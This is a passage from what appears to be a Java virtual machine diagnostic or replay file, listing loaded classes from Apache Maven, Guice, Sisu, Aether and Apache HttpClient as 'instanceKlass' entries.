org/apache/maven/model/inheritance/DefaultInheritanceAssembler$$FastClassByGuice$$42473152\ninstanceKlass org/apache/maven/model/composition/DefaultDependencyManagementImporter$$FastClassByGuice$$40985928\ninstanceKlass org/apache/maven/model/building/DefaultModelProcessor$$FastClassByGuice$$40281322\ninstanceKlass org/apache/maven/model/building/DefaultModelBuilder$$FastClassByGuice$$39725042\ninstanceKlass org/apache/maven/cli/internal/BootstrapCoreExtensionManager$$FastClassByGuice$$38348499\ninstanceKlass org/apache/maven/cli/configuration/SettingsXmlConfigurationProcessor$$FastClassByGuice$$36818934\ninstanceKlass org/apache/maven/toolchain/io/DefaultToolchainsWriter$$FastClassByGuice$$36193526\ninstanceKlass org/apache/maven/toolchain/io/DefaultToolchainsReader$$FastClassByGuice$$35184220\ninstanceKlass org/apache/maven/toolchain/building/DefaultToolchainsBuilder$$FastClassByGuice$$34059218\ninstanceKlass org/apache/maven/plugin/internal/ReadOnlyPluginParametersValidator$$FastClassByGuice$$33125708\ninstanceKlass org/apache/maven/plugin/internal/PlexusContainerDefaultDependenciesValidator$$FastClassByGuice$$31636458\ninstanceKlass org/apache/maven/plugin/internal/MavenScopeDependenciesValidator$$FastClassByGuice$$30498594\ninstanceKlass org/apache/maven/plugin/internal/MavenMixedDependenciesValidator$$FastClassByGuice$$29684236\ninstanceKlass org/apache/maven/plugin/internal/Maven3CompatDependenciesValidator$$FastClassByGuice$$29011393\ninstanceKlass org/apache/maven/plugin/internal/Maven2DependenciesValidator$$FastClassByGuice$$27893301\ninstanceKlass org/apache/maven/plugin/internal/DeprecatedPluginValidator$$FastClassByGuice$$26735914\ninstanceKlass org/apache/maven/plugin/internal/DeprecatedCoreExpressionValidator$$FastClassByGuice$$25284806\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginValidationManager$$FastClassByGuice$$24851183\ninstanceKlass org/apache/maven/plugin/DefaultMojosExecutionStrategy$$FastClassByGuice$$23589559\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleDependencyResolver$$FastClassByGuice$$22318700\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultProjectArtifactFactory$$FastClassByGuice$$21116576\ninstanceKlass org/apache/maven/internal/aether/ResolverLifecycle$$FastClassByGuice$$20752623\ninstanceKlass com/google/inject/internal/InjectorImpl$SyntheticProviderBindingImpl$1\ninstanceKlass com/google/inject/internal/InjectorImpl$1\ninstanceKlass org/apache/maven/internal/aether/DefaultRepositorySystemSessionFactory$$FastClassByGuice$$19892046\ninstanceKlass com/google/inject/internal/SingleFieldInjector\ninstanceKlass org/apache/maven/extension/internal/CoreExportsProvider$$FastClassByGuice$$18360283\ninstanceKlass org/apache/maven/execution/DefaultMavenExecutionRequestPopulator$$FastClassByGuice$$16986849\ninstanceKlass org/apache/maven/classrealm/DefaultClassRealmManager$$FastClassByGuice$$16379349\ninstanceKlass org/apache/maven/ReactorReader$$FastClassByGuice$$15452668\ninstanceKlass org/apache/maven/DefaultArtifactFilterManager$$FastClassByGuice$$14152110\ninstanceKlass com/google/inject/internal/SingleParameterInjector\ninstanceKlass org/apache/maven/lifecycle/internal/MojoExecutor$$FastClassByGuice$$13021954\ninstanceKlass org/apache/maven/eventspy/internal/EventSpyDispatcher$$FastClassByGuice$$11641882\ninstanceKlass org/eclipse/sisu/PreDestroy\ninstanceKlass org/eclipse/sisu/PostConstruct\ninstanceKlass org/apache/maven/lifecycle/internal/builder/BuilderCommon$$FastClassByGuice$$11236472\ninstanceKlass org/apache/maven/bridge/MavenRepositorySystem$$FastClassByGuice$$9718602\ninstanceKlass org/apache/maven/lifecycle/internal/BuildListCalculator$$FastClassByGuice$$8891361\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleStarter$$FastClassByGuice$$8247160\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleDebugLogger$$FastClassByGuice$$6578218\ninstanceKlass org/apache/maven/lifecycle/internal/MojoDescriptorCreator$$FastClassByGuice$$6124389\ninstanceKlass org/apache/maven/lifecycle/internal/LifecycleModuleBuilder$$FastClassByGuice$$4707399\ninstanceKlass org/eclipse/sisu/bean/BeanPropertySetter\ninstanceKlass org/apache/maven/lifecycle/internal/LifecyclePluginResolver$$FastClassByGuice$$3525969\ninstanceKlass org/apache/maven/lifecycle/Lifecycle$$FastClassByGuice$$3083457\ninstanceKlass org/eclipse/sisu/plexus/PlexusConfigurations$ConfigurationProvider\ninstanceKlass org/apache/maven/lifecycle/DefaultLifecycles$$FastClassByGuice$$1353493\ninstanceKlass com/google/inject/internal/ProxyFactory\ninstanceKlass com/google/common/collect/TransformedIterator\ninstanceKlass com/google/inject/internal/ConstructorInjectorStore$$Lambda$89\ninstanceKlass com/google/inject/spi/InterceptorBinding\ninstanceKlass com/google/inject/internal/MethodAspect\ninstanceKlass com/google/inject/internal/MembersInjectorImpl\ninstanceKlass org/eclipse/sisu/bean/BeanInjector\ninstanceKlass org/eclipse/sisu/plexus/PlexusLifecycleManager$2\ninstanceKlass org/eclipse/sisu/bean/PropertyBinder$1\ninstanceKlass org/eclipse/sisu/plexus/ProvidedPropertyBinding\ninstanceKlass org/eclipse/sisu/plexus/PlexusRequirements$AbstractRequirementProvider\ninstanceKlass org/eclipse/sisu/bean/BeanPropertyField\ninstanceKlass org/eclipse/sisu/bean/DeclaredMembers$MemberIterator\ninstanceKlass org/eclipse/sisu/bean/BeanPropertyIterator\ninstanceKlass org/eclipse/sisu/bean/DeclaredMembers\ninstanceKlass org/eclipse/sisu/bean/IgnoreSetters\ninstanceKlass org/eclipse/sisu/bean/BeanProperties\ninstanceKlass org/eclipse/sisu/plexus/PlexusRequirements\ninstanceKlass org/eclipse/sisu/plexus/PlexusConfigurations\ninstanceKlass org/eclipse/sisu/plexus/PlexusPropertyBinder\ninstanceKlass org/eclipse/sisu/bean/BeanLifecycle\ninstanceKlass com/google/inject/internal/EncounterImpl\ninstanceKlass com/google/inject/internal/AbstractBindingProcessor$Processor$$Lambda$88\ninstanceKlass org/apache/maven/session/scope/internal/SessionScope$$Lambda$87\ninstanceKlass org/apache/maven/execution/scope/internal/MojoExecutionScope$2\ninstanceKlass com/google/inject/internal/ProviderInternalFactory\ninstanceKlass com/google/inject/internal/InternalProviderInstanceBindingImpl$Factory\ninstanceKlass com/google/inject/internal/FactoryProxy\ninstanceKlass com/google/inject/internal/InternalFactoryToProviderAdapter\ninstanceKlass com/google/inject/internal/ConstructionContext\ninstanceKlass com/google/inject/internal/SingletonScope$1\ninstanceKlass com/google/inject/internal/ProviderToInternalFactoryAdapter\ninstanceKlass com/google/inject/internal/CycleDetectingLock$CycleDetectingLockFactory$ReentrantCycleDetectingLock\ninstanceKlass com/google/inject/internal/Initializer$InjectableReference\ninstanceKlass com/google/inject/internal/ProvisionListenerStackCallback\ninstanceKlass com/google/common/cache/LocalCache$AbstractReferenceEntry\ninstanceKlass com/google/inject/internal/ProvisionListenerCallbackStore$KeyBinding\ninstanceKlass com/google/inject/internal/util/Classes\ninstanceKlass com/google/inject/spi/ExposedBinding\ninstanceKlass com/google/inject/internal/CreationListener\ninstanceKlass com/google/inject/internal/InjectorShell$LoggerFactory\ninstanceKlass com/google/inject/internal/InjectorShell$InjectorFactory\ninstanceKlass com/google/inject/internal/Initializables$1\ninstanceKlass com/google/inject/internal/Initializables\ninstanceKlass com/google/inject/internal/ConstantFactory\ninstanceKlass com/google/inject/internal/InjectorShell\ninstanceKlass com/google/inject/internal/ProvisionListenerCallbackStore\ninstanceKlass com/google/inject/internal/SingleMemberInjector\ninstanceKlass com/google/inject/spi/TypeEncounter\ninstanceKlass com/google/inject/internal/MembersInjectorStore\ninstanceKlass com/google/inject/internal/TypeConverterBindingProcessor$4\ninstanceKlass com/google/inject/internal/TypeConverterBindingProcessor$2\ninstanceKlass com/google/inject/internal/TypeConverterBindingProcessor$1\ninstanceKlass com/google/inject/internal/TypeConverterBindingProcessor$5\ninstanceKlass com/google/inject/internal/FailableCache\ninstanceKlass com/google/inject/internal/ConstructorInjectorStore\ninstanceKlass com/google/inject/internal/DeferredLookups\ninstanceKlass com/google/inject/spi/ConvertedConstantBinding\ninstanceKlass com/google/inject/spi/ProviderBinding\ninstanceKlass com/google/inject/internal/InjectorImpl\ninstanceKlass com/google/inject/internal/Lookups\ninstanceKlass com/google/inject/internal/InjectorImpl$InjectorOptions\ninstanceKlass com/google/inject/internal/AbstractProcessor$$Lambda$86\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/google/inject/spi/BindingSourceRestriction$$Lambda$85\ninstanceKlass com/google/inject/internal/ProvisionListenerStackCallback$ProvisionCallback\ninstanceKlass com/google/inject/internal/ConstructorInjector\ninstanceKlass com/google/inject/internal/DefaultConstructionProxyFactory$FastClassProxy\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass com/google/inject/internal/aop/AbstractGlueGenerator$$Lambda$84\ninstanceKlass com/google/inject/internal/aop/ImmutableStringTrie\ninstanceKlass java/util/function/ToIntFunction\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginDependenciesResolver$$FastClassByGuice$$328416\ninstanceKlass com/google/inject/internal/aop/GeneratedClassDefiner\ninstanceKlass java/lang/ClassLoader$$DefineAccessByGuice$$\ninstanceKlass java/lang/WeakPairMap$$Lambda$83\ninstanceKlass java/lang/Module$$Lambda$82\ninstanceKlass java/util/RegularEnumSet$EnumSetIterator\ninstanceKlass java/lang/module/ModuleDescriptor$Builder$$Lambda$81\ninstanceKlass jdk/internal/module/Checks\ninstanceKlass java/lang/module/ModuleDescriptor$Builder\ninstanceKlass java/lang/reflect/Proxy$ProxyBuilder$$Lambda$80\ninstanceKlass jdk/internal/vm/annotation/ForceInline\ninstanceKlass java/lang/reflect/AccessibleObject$$Lambda$79\ninstanceKlass com/google/inject/internal/aop/UnsafeClassDefiner$ClassLoaderDefineClassHolder$$Lambda$78\ninstanceKlass com/google/inject/internal/aop/UnsafeClassDefiner$ClassLoaderDefineClassHolder\ninstanceKlass com/google/inject/internal/asm/$Handler\ninstanceKlass com/google/inject/internal/asm/$Attribute\ninstanceKlass com/google/inject/internal/aop/BytecodeTasks\ninstanceKlass com/google/inject/internal/aop/AbstractGlueGenerator$$Lambda$77\ninstanceKlass com/google/inject/internal/asm/$Handle\ninstanceKlass com/google/inject/internal/asm/$Label\ninstanceKlass com/google/inject/internal/asm/$Frame\ninstanceKlass com/google/inject/internal/asm/$ByteVector\ninstanceKlass com/google/inject/internal/asm/$Symbol\ninstanceKlass com/google/inject/internal/asm/$SymbolTable\ninstanceKlass com/google/inject/internal/asm/$MethodVisitor\ninstanceKlass com/google/inject/internal/asm/$ModuleVisitor\ninstanceKlass com/google/inject/internal/asm/$AnnotationVisitor\ninstanceKlass com/google/inject/internal/asm/$FieldVisitor\ninstanceKlass com/google/inject/internal/asm/$RecordComponentVisitor\ninstanceKlass com/google/inject/internal/asm/$ClassVisitor\ninstanceKlass com/google/inject/internal/aop/AbstractGlueGenerator\ninstanceKlass com/google/inject/internal/aop/ClassBuilding$$Lambda$76\ninstanceKlass com/google/inject/internal/aop/ClassBuilding$$Lambda$75\ninstanceKlass com/google/inject/internal/asm/$Type\ninstanceKlass com/google/inject/internal/aop/UnsafeClassDefiner$$Lambda$74\ninstanceKlass com/google/inject/internal/aop/AnonymousClassDefiner\ninstanceKlass com/google/inject/internal/aop/UnsafeClassDefiner\ninstanceKlass com/google/inject/internal/aop/ClassDefining$ClassDefinerHolder\ninstanceKlass com/google/inject/internal/aop/ClassDefiner\ninstanceKlass com/google/inject/internal/aop/ClassDefining\ninstanceKlass com/google/inject/internal/aop/ClassBuilding$$Lambda$73\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass com/google/inject/internal/BytecodeGen$$Lambda$72\ninstanceKlass com/google/inject/internal/BytecodeGen$EnhancerBuilder\ninstanceKlass com/google/inject/internal/aop/ClassBuilding\ninstanceKlass com/google/common/collect/MapMakerInternalMap$StrongValueEntry\ninstanceKlass com/google/common/collect/MapMakerInternalMap$WeakKeyStrongValueEntry$Helper\ninstanceKlass com/google/common/collect/MapMakerInternalMap$InternalEntry\ninstanceKlass com/google/common/collect/MapMakerInternalMap$1\ninstanceKlass com/google/common/collect/MapMakerInternalMap$InternalEntryHelper\ninstanceKlass com/google/common/collect/MapMakerInternalMap$WeakValueReference\ninstanceKlass com/google/common/collect/MapMaker\ninstanceKlass com/google/inject/internal/BytecodeGen\ninstanceKlass com/google/inject/internal/ConstructionProxy\ninstanceKlass com/google/inject/internal/DefaultConstructionProxyFactory\ninstanceKlass com/google/inject/internal/ConstructionProxyFactory\ninstanceKlass com/google/inject/internal/ConstructorBindingImpl$Factory\ninstanceKlass org/eclipse/sisu/inject/TypeArguments$Implicit\ninstanceKlass org/eclipse/sisu/wire/BeanProviders$3\ninstanceKlass org/sonatype/inject/BeanEntry\ninstanceKlass org/eclipse/sisu/BeanEntry\ninstanceKlass org/eclipse/sisu/wire/PlaceholderBeanProvider\ninstanceKlass org/eclipse/sisu/wire/BeanProviders$6\ninstanceKlass org/eclipse/sisu/wire/BeanProviders$4\ninstanceKlass org/eclipse/sisu/wire/BeanProviders$7\ninstanceKlass org/eclipse/sisu/wire/BeanProviders$1\ninstanceKlass com/google/inject/spi/ProviderLookup$1\ninstanceKlass com/google/inject/spi/ProviderWithDependencies\ninstanceKlass com/google/inject/spi/ProviderLookup\ninstanceKlass org/eclipse/sisu/wire/BeanProviders\ninstanceKlass org/eclipse/sisu/inject/HiddenSource\ninstanceKlass org/eclipse/sisu/wire/LocatorWiring\ninstanceKlass com/google/inject/ProvidedBy\ninstanceKlass com/google/inject/ImplementedBy\ninstanceKlass org/sonatype/plexus/components/cipher/PBECipher\ninstanceKlass org/codehaus/classworlds/ClassRealm\ninstanceKlass org/apache/maven/settings/crypto/SettingsDecryptionResult\ninstanceKlass org/apache/maven/settings/building/DefaultSettingsProblemCollector\ninstanceKlass org/apache/maven/settings/merge/MavenSettingsMerger\ninstanceKlass org/apache/maven/settings/building/SettingsBuildingResult\ninstanceKlass org/apache/maven/settings/building/SettingsProblemCollector\ninstanceKlass org/eclipse/aether/impl/MetadataGenerator\ninstanceKlass org/apache/maven/model/Relocation\ninstanceKlass org/apache/maven/repository/internal/ArtifactDescriptorReaderDelegate\ninstanceKlass org/eclipse/aether/named/support/AdaptedSemaphoreNamedLock$AdaptedSemaphore\ninstanceKlass org/eclipse/aether/named/support/NamedLockFactorySupport$NamedLockHolder\ninstanceKlass org/eclipse/aether/named/support/NamedLockSupport\ninstanceKlass org/eclipse/aether/named/NamedLock\ninstanceKlass org/eclipse/aether/internal/impl/synccontext/named/NamedLockFactoryAdapter\ninstanceKlass org/eclipse/aether/spi/log/Logger\ninstanceKlass org/eclipse/aether/internal/impl/filter/PrefixesRemoteRepositoryFilterSource$Node\ninstanceKlass org/eclipse/aether/spi/connector/filter/RemoteRepositoryFilter$Result\ninstanceKlass org/eclipse/aether/spi/connector/filter/RemoteRepositoryFilter\ninstanceKlass org/eclipse/aether/collection/DependencyTraverser\ninstanceKlass org/eclipse/aether/collection/DependencyManager\ninstanceKlass org/eclipse/aether/internal/impl/collect/df/DfDependencyCollector$Args\ninstanceKlass org/eclipse/aether/internal/impl/collect/bf/BfDependencyCollector$DescriptorResolutionResult\ninstanceKlass org/eclipse/aether/internal/impl/collect/bf/BfDependencyCollector$Args\ninstanceKlass org/eclipse/aether/internal/impl/collect/bf/DependencyProcessingContext\ninstanceKlass org/eclipse/aether/internal/impl/collect/bf/DependencyResolutionSkipper\ninstanceKlass org/eclipse/aether/internal/impl/collect/DependencyCollectorDelegate$Results\ninstanceKlass org/eclipse/aether/internal/impl/collect/DefaultDependencyCollectionContext\ninstanceKlass org/eclipse/aether/collection/DependencyCollectionContext\ninstanceKlass org/eclipse/aether/internal/impl/collect/DataPool\ninstanceKlass org/eclipse/aether/graph/DefaultDependencyNode\ninstanceKlass org/eclipse/aether/version/Version\ninstanceKlass org/eclipse/aether/internal/impl/collect/PremanagedDependency\ninstanceKlass org/eclipse/aether/internal/impl/collect/DefaultVersionFilterContext\ninstanceKlass org/eclipse/aether/collection/VersionFilter\ninstanceKlass org/eclipse/aether/collection/DependencyGraphTransformationContext\ninstanceKlass org/eclipse/aether/collection/VersionFilter$VersionFilterContext\ninstanceKlass org/eclipse/aether/spi/connector/Transfer\ninstanceKlass org/eclipse/aether/internal/impl/checksum/SummaryFileTrustedChecksumsSource$SummaryFileWriter\ninstanceKlass org/eclipse/aether/internal/impl/checksum/SparseDirectoryTrustedChecksumsSource$SparseDirectoryWriter\ninstanceKlass org/eclipse/aether/spi/checksums/TrustedChecksumsSource$Writer\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumAlgorithm\ninstanceKlass org/eclipse/aether/impl/UpdateCheck\ninstanceKlass org/eclipse/aether/spi/connector/transport/Transporter\ninstanceKlass org/eclipse/aether/resolution/ArtifactDescriptorRequest\ninstanceKlass org/eclipse/aether/collection/CollectResult\ninstanceKlass org/eclipse/aether/collection/CollectRequest\ninstanceKlass org/eclipse/aether/resolution/VersionRangeResult\ninstanceKlass org/eclipse/aether/resolution/VersionRangeRequest\ninstanceKlass org/eclipse/aether/resolution/DependencyResult\ninstanceKlass org/eclipse/aether/resolution/DependencyRequest\ninstanceKlass org/eclipse/aether/resolution/VersionRequest\ninstanceKlass org/eclipse/aether/spi/connector/layout/RepositoryLayout\ninstanceKlass org/eclipse/aether/RepositoryEvent\ninstanceKlass org/eclipse/aether/repository/LocalRepository\ninstanceKlass org/eclipse/aether/internal/impl/LocalPathPrefixComposer\ninstanceKlass org/eclipse/aether/transform/FileTransformer\ninstanceKlass org/eclipse/aether/installation/InstallResult\ninstanceKlass org/eclipse/aether/installation/InstallRequest\ninstanceKlass org/eclipse/aether/spi/io/FileProcessor$ProgressListener\ninstanceKlass org/eclipse/aether/deployment/DeployResult\ninstanceKlass org/eclipse/aether/deployment/DeployRequest\ninstanceKlass org/eclipse/aether/internal/impl/DefaultDeployer$EventCatapult\ninstanceKlass org/eclipse/aether/repository/RepositoryPolicy\ninstanceKlass org/eclipse/aether/transfer/TransferResource\ninstanceKlass org/eclipse/aether/spi/connector/checksum/ChecksumPolicy\ninstanceKlass org/eclipse/aether/resolution/ArtifactResult\ninstanceKlass org/eclipse/aether/resolution/ArtifactRequest\ninstanceKlass org/eclipse/aether/resolution/VersionResult\ninstanceKlass org/eclipse/aether/repository/LocalArtifactResult\ninstanceKlass org/eclipse/aether/internal/impl/DefaultArtifactResolver$ResolutionGroup\ninstanceKlass org/eclipse/aether/SyncContext\ninstanceKlass org/eclipse/aether/spi/locator/ServiceLocator\ninstanceKlass org/eclipse/aether/repository/RemoteRepository\ninstanceKlass org/eclipse/aether/spi/connector/RepositoryConnector\ninstanceKlass org/apache/maven/model/validation/DefaultModelValidator$1ActivationFrame\ninstanceKlass org/apache/maven/model/profile/activation/JdkVersionProfileActivator$RangeValue\ninstanceKlass org/apache/maven/model/InputLocation\ninstanceKlass org/apache/maven/model/InputSource\ninstanceKlass org/apache/maven/model/interpolation/StringVisitorModelInterpolator$InnerInterpolator\ninstanceKlass org/apache/maven/model/Activation\ninstanceKlass org/apache/maven/model/ActivationFile\ninstanceKlass org/apache/maven/model/profile/DefaultProfileActivationContext\ninstanceKlass org/apache/maven/model/ActivationProperty\ninstanceKlass org/apache/maven/model/ActivationOS\ninstanceKlass org/codehaus/plexus/interpolation/RegexBasedInterpolator\ninstanceKlass org/apache/maven/model/building/ModelCacheTag\ninstanceKlass org/apache/maven/model/building/ModelData\ninstanceKlass org/apache/maven/model/building/DefaultModelProblemCollector\ninstanceKlass org/apache/maven/model/building/ModelBuildingEventCatapult\ninstanceKlass org/apache/maven/model/building/ModelBuildingEvent\ninstanceKlass org/apache/maven/model/building/ModelProblemCollectorExt\ninstanceKlass org/apache/maven/model/profile/ProfileActivationContext\ninstanceKlass org/apache/maven/cli/internal/extension/model/CoreExtension\ninstanceKlass org/apache/maven/building/ProblemCollector\ninstanceKlass org/apache/maven/toolchain/merge/MavenToolchainMerger\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationPostProcessor\ninstanceKlass org/apache/maven/toolchain/building/ToolchainsBuildingResult\ninstanceKlass org/eclipse/aether/graph/Dependency\ninstanceKlass org/eclipse/aether/resolution/ArtifactDescriptorResult\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginValidationManager$PluginValidationIssues\ninstanceKlass com/google/inject/util/Types\ninstanceKlass org/eclipse/sisu/Nullable\ninstanceKlass org/eclipse/aether/repository/AuthenticationSelector\ninstanceKlass org/eclipse/aether/repository/ProxySelector\ninstanceKlass org/eclipse/aether/repository/MirrorSelector\ninstanceKlass org/eclipse/aether/resolution/ResolutionErrorPolicy\ninstanceKlass org/eclipse/aether/repository/LocalRepositoryManager\ninstanceKlass org/apache/maven/classrealm/ClassRealmManagerDelegate\ninstanceKlass org/apache/maven/classrealm/ClassRealmConstituent\ninstanceKlass org/apache/maven/classrealm/ClassRealmRequest\ninstanceKlass org/eclipse/aether/repository/WorkspaceRepository\ninstanceKlass org/apache/maven/ArtifactFilterManagerDelegate\ninstanceKlass org/eclipse/aether/DefaultRepositorySystemSession\ninstanceKlass org/apache/maven/execution/MavenExecutionResult\ninstanceKlass org/apache/maven/DefaultMaven\ninstanceKlass org/apache/maven/execution/ExecutionEvent\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultExecutionEventCatapult\ninstanceKlass org/apache/maven/lifecycle/internal/PhaseRecorder\ninstanceKlass org/apache/maven/lifecycle/internal/DependencyContext\ninstanceKlass org/apache/maven/lifecycle/internal/ProjectIndex\ninstanceKlass org/apache/maven/plugin/MojoExecutionRunner\ninstanceKlass org/eclipse/aether/RepositoryListener\ninstanceKlass org/apache/maven/repository/metadata/MetadataGraphVertex\ninstanceKlass org/apache/maven/repository/metadata/DefaultGraphConflictResolver\ninstanceKlass org/apache/maven/repository/metadata/MetadataGraphEdge\ninstanceKlass org/apache/maven/repository/metadata/DefaultGraphConflictResolutionPolicy\ninstanceKlass org/apache/maven/artifact/resolver/DefaultArtifactResolver\ninstanceKlass org/apache/maven/artifact/repository/layout/FlatRepositoryLayout\ninstanceKlass org/apache/maven/exception/ExceptionSummary\ninstanceKlass org/apache/maven/exception/DefaultExceptionHandler\ninstanceKlass org/apache/maven/artifact/repository/DefaultArtifactRepositoryFactory\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecycleMappingDelegate\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/NewestConflictResolver\ninstanceKlass org/apache/maven/project/ProjectRealmCache$Key\ninstanceKlass org/apache/maven/project/DefaultProjectRealmCache\ninstanceKlass org/eclipse/aether/util/graph/visitor/AbstractDepthFirstNodeListGenerator\ninstanceKlass org/apache/maven/plugin/descriptor/PluginDescriptorBuilder\ninstanceKlass org/codehaus/plexus/component/configurator/ConfigurationListener\ninstanceKlass org/apache/maven/plugin/logging/Log\ninstanceKlass org/apache/maven/plugin/internal/DefaultMavenPluginManager\ninstanceKlass org/apache/maven/plugin/descriptor/Parameter\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultMojoExecutionConfigurator\ninstanceKlass org/apache/maven/settings/RepositoryPolicy\ninstanceKlass org/apache/maven/settings/RepositoryBase\ninstanceKlass org/apache/maven/toolchain/DefaultToolchain\ninstanceKlass org/apache/maven/toolchain/java/JavaToolchain\ninstanceKlass org/apache/maven/toolchain/java/JavaToolchainFactory\ninstanceKlass org/apache/maven/model/merge/ModelMerger\ninstanceKlass org/apache/maven/model/plugin/DefaultLifecycleBindingsInjector\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecyclePluginAnalyzer$GoalSpec\ninstanceKlass org/apache/maven/lifecycle/mapping/LifecyclePhase\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecyclePluginAnalyzer\ninstanceKlass org/apache/maven/plugin/PluginArtifactsCache$CacheRecord\ninstanceKlass org/apache/maven/plugin/PluginArtifactsCache$Key\ninstanceKlass org/apache/maven/plugin/DefaultPluginArtifactsCache\ninstanceKlass org/eclipse/aether/graph/DependencyNode\ninstanceKlass org/eclipse/aether/collection/DependencySelector\ninstanceKlass org/eclipse/aether/resolution/ArtifactDescriptorPolicy\ninstanceKlass org/apache/maven/plugin/internal/DefaultPluginDependenciesResolver\ninstanceKlass org/apache/maven/profiles/ProfilesRoot\ninstanceKlass org/apache/maven/toolchain/ToolchainPrivate\ninstanceKlass org/apache/maven/toolchain/Toolchain\ninstanceKlass org/apache/maven/toolchain/DefaultToolchainManager\ninstanceKlass org/apache/maven/model/Reporting\ninstanceKlass org/apache/maven/model/PluginContainer\ninstanceKlass org/apache/maven/project/inheritance/DefaultModelInheritanceAssembler\ninstanceKlass org/apache/maven/repository/DefaultMirrorSelector\ninstanceKlass org/apache/maven/plugin/internal/DefaultLegacySupport\ninstanceKlass org/apache/http/impl/conn/PoolingHttpClientConnectionManager\ninstanceKlass org/apache/http/pool/ConnPoolControl\ninstanceKlass org/apache/http/config/Registry\ninstanceKlass org/apache/http/client/methods/CloseableHttpResponse\ninstanceKlass org/apache/http/HttpResponse\ninstanceKlass org/apache/maven/wagon/shared/http/BasicAuthScope\ninstanceKlass org/apache/maven/wagon/shared/http/HttpConfiguration\ninstanceKlass org/apache/http/impl/client/CloseableHttpClient\ninstanceKlass org/apache/http/client/HttpClient\ninstanceKlass org/apache/http/conn/ssl/TrustStrategy\ninstanceKlass org/apache/http/ssl/TrustStrategy\ninstanceKlass org/apache/http/client/RedirectStrategy\ninstanceKlass org/apache/http/config/Lookup\ninstanceKlass org/apache/http/client/HttpRequestRetryHandler\ninstanceKlass org/apache/http/client/ServiceUnavailableRetryStrategy\ninstanceKlass org/apache/http/auth/Credentials\ninstanceKlass org/apache/http/client/AuthCache\ninstanceKlass org/apache/http/client/CredentialsProvider\ninstanceKlass org/apache/http/Header\ninstanceKlass org/apache/http/NameValuePair\ninstanceKlass org/apache/http/protocol/HttpContext\ninstanceKlass org/apache/http/HttpEntity\ninstanceKlass org/apache/http/client/methods/HttpUriRequest\ninstanceKlass org/apache/http/HttpRequest\ninstanceKlass org/apache/http/HttpMessage\ninstanceKlass org/apache/http/auth/AuthScheme\ninstanceKlass org/apache/http/conn/HttpClientConnectionManager\ninstanceKlass org/apache/maven/project/artifact/DefaultMavenMetadataCache$CacheKey\ninstanceKlass org/apache/maven/project/artifact/DefaultMavenMetadataCache\ninstanceKlass org/apache/maven/rtinfo/internal/DefaultRuntimeInformation\ninstanceKlass org/apache/maven/execution/ProjectExecutionListener\ninstanceKlass org/apache/maven/execution/BuildSummary\ninstanceKlass org/apache/maven/artifact/factory/DefaultArtifactFactory\ninstanceKlass org/apache/maven/wagon/observers/ChecksumObserver\ninstanceKlass org/apache/maven/repository/legacy/DefaultWagonManager\ninstanceKlass org/apache/maven/artifact/versioning/ArtifactVersion\ninstanceKlass org/apache/maven/execution/DefaultRuntimeInformation\ninstanceKlass org/apache/maven/artifact/handler/manager/DefaultArtifactHandlerManager\ninstanceKlass org/apache/maven/settings/building/SettingsBuildingRequest\ninstanceKlass org/apache/maven/project/path/DefaultPathTranslator\ninstanceKlass org/apache/maven/model/RepositoryPolicy\ninstanceKlass org/apache/maven/repository/Proxy\ninstanceKlass org/apache/maven/artifact/repository/Authentication\ninstanceKlass org/apache/maven/repository/ArtifactTransferListener\ninstanceKlass org/apache/maven/settings/crypto/SettingsDecryptionRequest\ninstanceKlass org/apache/maven/repository/legacy/LegacyRepositorySystem\ninstanceKlass org/apache/maven/DefaultProjectDependenciesResolver\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/FarthestConflictResolver\ninstanceKlass org/apache/maven/project/ProjectRealmCache$CacheRecord\ninstanceKlass org/apache/maven/project/DefaultProjectBuildingHelper\ninstanceKlass org/apache/maven/model/building/Result\ninstanceKlass org/apache/maven/execution/ProjectDependencyGraph\ninstanceKlass org/apache/maven/graph/DefaultGraphBuilder\ninstanceKlass org/eclipse/aether/artifact/Artifact\ninstanceKlass org/apache/maven/plugin/prefix/PluginPrefixResult\ninstanceKlass org/apache/maven/plugin/prefix/internal/DefaultPluginPrefixResolver\ninstanceKlass org/apache/maven/plugin/PluginDescriptorCache$PluginDescriptorSupplier\ninstanceKlass org/apache/maven/plugin/PluginDescriptorCache$Key\ninstanceKlass org/apache/maven/plugin/DefaultPluginDescriptorCache\ninstanceKlass org/apache/maven/project/validation/ModelValidationResult\ninstanceKlass org/apache/maven/model/building/ModelProblemCollector\ninstanceKlass org/apache/maven/project/validation/DefaultModelValidator\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/DefaultConflictResolverFactory\ninstanceKlass org/apache/maven/configuration/BeanConfigurationRequest\ninstanceKlass org/codehaus/plexus/component/configurator/expression/ExpressionEvaluator\ninstanceKlass org/codehaus/plexus/configuration/PlexusConfiguration\ninstanceKlass org/codehaus/plexus/component/configurator/converters/lookup/ConverterLookup\ninstanceKlass org/apache/maven/configuration/internal/DefaultBeanConfigurator\ninstanceKlass org/apache/maven/project/artifact/ProjectArtifactsCache$CacheRecord\ninstanceKlass org/apache/maven/project/artifact/ProjectArtifactsCache$Key\ninstanceKlass org/apache/maven/project/artifact/DefaultProjectArtifactsCache\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/NearestConflictResolver\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/OldestConflictResolver\ninstanceKlass org/apache/maven/artifact/repository/layout/DefaultRepositoryLayout\ninstanceKlass org/apache/maven/lifecycle/internal/DefaultLifecycleExecutionPlanCalculator\ninstanceKlass org/eclipse/aether/graph/DependencyFilter\ninstanceKlass 